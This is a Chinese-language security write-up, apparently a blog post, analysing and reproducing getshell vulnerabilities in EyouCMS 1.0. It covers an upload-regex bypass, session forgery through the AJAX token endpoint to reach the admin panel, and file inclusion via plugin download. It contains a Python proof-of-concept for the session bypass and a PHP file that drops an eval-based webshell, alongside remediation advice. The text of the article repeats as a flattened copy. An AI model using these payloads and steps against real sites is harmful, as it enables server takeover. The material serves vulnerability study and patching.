eyoucms getshell 的详细分析和复现
字数 1670 2025-08-22 12:23:30

EyouCMS 1.0 前台Getshell漏洞分析与复现

免责声明

本文档所有安全技术内容仅供学习、研究与讨论之用,请勿用于非法用途。

漏洞概述

EyouCMS 1.0版本存在多个安全漏洞,包括:

  1. 前台文件上传Getshell漏洞
  2. Session越权漏洞
  3. 文件包含Getshell漏洞

漏洞一:前台文件上传Getshell

漏洞位置

application/api/controller/Uploadify.php文件中的preview函数

漏洞分析

  1. API使用php://input协议接收输入
  2. 原本设计用于接收图片文件,通过正则限制文件后缀
  3. 但正则匹配存在缺陷,可被绕过写入PHP文件

漏洞利用

  1. 构造恶意请求,修改文件后缀为.php
  2. 通过编码数据写入恶意代码

API路径

未在原文中明确给出,需通过代码审计确定

修复建议

使用白名单机制限制上传文件类型

漏洞二:Session越权+文件包含Getshell

第一部分:Session越权

登录逻辑分析

位于application/admin/controller/Base.php文件

  1. 首先检查是否存在admin_id
    • 如果已登录,直接跳转后台
    • 否则继续登录流程
  2. 默认开启验证码验证
  3. 基础检测用于存储session
  4. 验证账号密码
  5. 获取用户权限(基于admin_info中的role_id
  6. 存储session参数

Session伪造方法

位于application/api/controller/Ajax.php文件中的token方法

  1. 需要IS_AJAX为真(通过设置HTTP_X_REQUESTED_WITH头为xmlhttprequest
  2. 可设置session中的任意键值,包括admin_id

利用步骤

  1. 构造请求设置admin_id
  2. 需要满足条件:
    • session('admin_id') > 0
    • 通过不断尝试直到获取以数字开头的hash值
  3. 绕过超时检测(位于application/admin/controller/Base.php

超时检测绕过

  1. 需要满足三个条件:
    • session存在
    • 有效的token(通过不断发包碰撞)
    • check_priv返回true(0 >= session('admin_info.role_id')

POC脚本

# 示例脚本逻辑(需根据实际情况调整)
import requests

# 1. 设置admin_id
session = requests.Session()
ajax_url = "http://target.com/api/ajax/token"
headers = {
    "X-Requested-With": "xmlhttprequest"
}
data = {
    "name": "admin_id",
    "value": "1"  # 需要不断尝试直到获取有效值
}
session.post(ajax_url, headers=headers, data=data)

# 2. 访问后台
admin_url = "http://target.com/admin"
response = session.get(admin_url)
if "管理后台" in response.text:
    print("成功越权进入后台")

第二部分:文件包含Getshell

漏洞位置

application/admin/controller/Weapp.php中的downloadInstall方法

漏洞分析

  1. 存在文件包含点
  2. 需要控制文件内容并触发包含

利用条件

  1. 绕过host检查(必须为eyoucms.com
    • 方法:在官网评论处上传文件,获取eyoucms.com域下的文件路径
  2. 下载并解压文件
  3. 包含恶意文件

利用步骤

  1. 在官网评论处上传恶意文件(需新用户权限)
  2. 获取文件路径(如http://eyoucms.com/uploads/xxx
  3. 通过插件管理触发文件下载
  4. 服务器下载并解压文件
  5. 触发文件包含执行恶意代码

恶意文件示例

<?php
// 恶意代码,写入webshell
file_put_contents('shell.php', '<?php @eval($_POST["cmd"]);?>');
?>

访问路径

  1. 生成的shell文件路径:/shell.php
  2. 使用webshell管理工具连接

其他Getshell方法

原文提到存在其他Getshell方法,但未详细说明,可能包括:

  1. 反序列化漏洞
  2. 其他文件上传点
  3. 数据库操作导致的代码执行

参考链接

  1. https://www.moonsec.com/6078.html
  2. https://n1k0la-t.github.io/2023/01/28/EyouCMS%20v1.6.1%200day%E6%8C%96%E6%8E%98/#EyouCMS-v1-6-1-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E

修复建议

  1. 对所有上传功能实施严格的白名单验证
  2. 加强session管理,防止未授权修改
  3. 限制文件包含功能,禁用动态包含
  4. 更新到最新版本
EyouCMS 1.0 前台Getshell漏洞分析与复现 免责声明 本文档所有安全技术内容仅供学习、研究与讨论之用,请勿用于非法用途。 漏洞概述 EyouCMS 1.0版本存在多个安全漏洞,包括: 前台文件上传Getshell漏洞 Session越权漏洞 文件包含Getshell漏洞 漏洞一:前台文件上传Getshell 漏洞位置 application/api/controller/Uploadify.php 文件中的 preview 函数 漏洞分析 API使用 php://input 协议接收输入 原本设计用于接收图片文件,通过正则限制文件后缀 但正则匹配存在缺陷,可被绕过写入PHP文件 漏洞利用 构造恶意请求,修改文件后缀为 .php 通过编码数据写入恶意代码 API路径 未在原文中明确给出,需通过代码审计确定 修复建议 使用白名单机制限制上传文件类型 漏洞二:Session越权+文件包含Getshell 第一部分:Session越权 登录逻辑分析 位于 application/admin/controller/Base.php 文件 首先检查是否存在 admin_id : 如果已登录,直接跳转后台 否则继续登录流程 默认开启验证码验证 基础检测用于存储session 验证账号密码 获取用户权限(基于 admin_info 中的 role_id ) 存储session参数 Session伪造方法 位于 application/api/controller/Ajax.php 文件中的token方法 需要 IS_AJAX 为真(通过设置 HTTP_X_REQUESTED_WITH 头为 xmlhttprequest ) 可设置session中的任意键值,包括 admin_id 利用步骤 构造请求设置 admin_id 需要满足条件: session('admin_id') > 0 通过不断尝试直到获取以数字开头的hash值 绕过超时检测(位于 application/admin/controller/Base.php ) 超时检测绕过 需要满足三个条件: session存在 有效的token(通过不断发包碰撞) check_priv 返回true( 0 >= session('admin_info.role_id') ) POC脚本 第二部分:文件包含Getshell 漏洞位置 application/admin/controller/Weapp.php 中的 downloadInstall 方法 漏洞分析 存在文件包含点 需要控制文件内容并触发包含 利用条件 绕过host检查(必须为 eyoucms.com ) 方法:在官网评论处上传文件,获取 eyoucms.com 域下的文件路径 下载并解压文件 包含恶意文件 利用步骤 在官网评论处上传恶意文件(需新用户权限) 获取文件路径(如 http://eyoucms.com/uploads/xxx ) 通过插件管理触发文件下载 服务器下载并解压文件 触发文件包含执行恶意代码 恶意文件示例 访问路径 生成的shell文件路径: /shell.php 使用webshell管理工具连接 其他Getshell方法 原文提到存在其他Getshell方法,但未详细说明,可能包括: 反序列化漏洞 其他文件上传点 数据库操作导致的代码执行 参考链接 https://www.moonsec.com/6078.html https://n1k0la-t.github.io/2023/01/28/EyouCMS%20v1.6.1%200day%E6%8C%96%E6%8E%98/#EyouCMS-v1-6-1-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E 修复建议 对所有上传功能实施严格的白名单验证 加强session管理,防止未授权修改 限制文件包含功能,禁用动态包含 更新到最新版本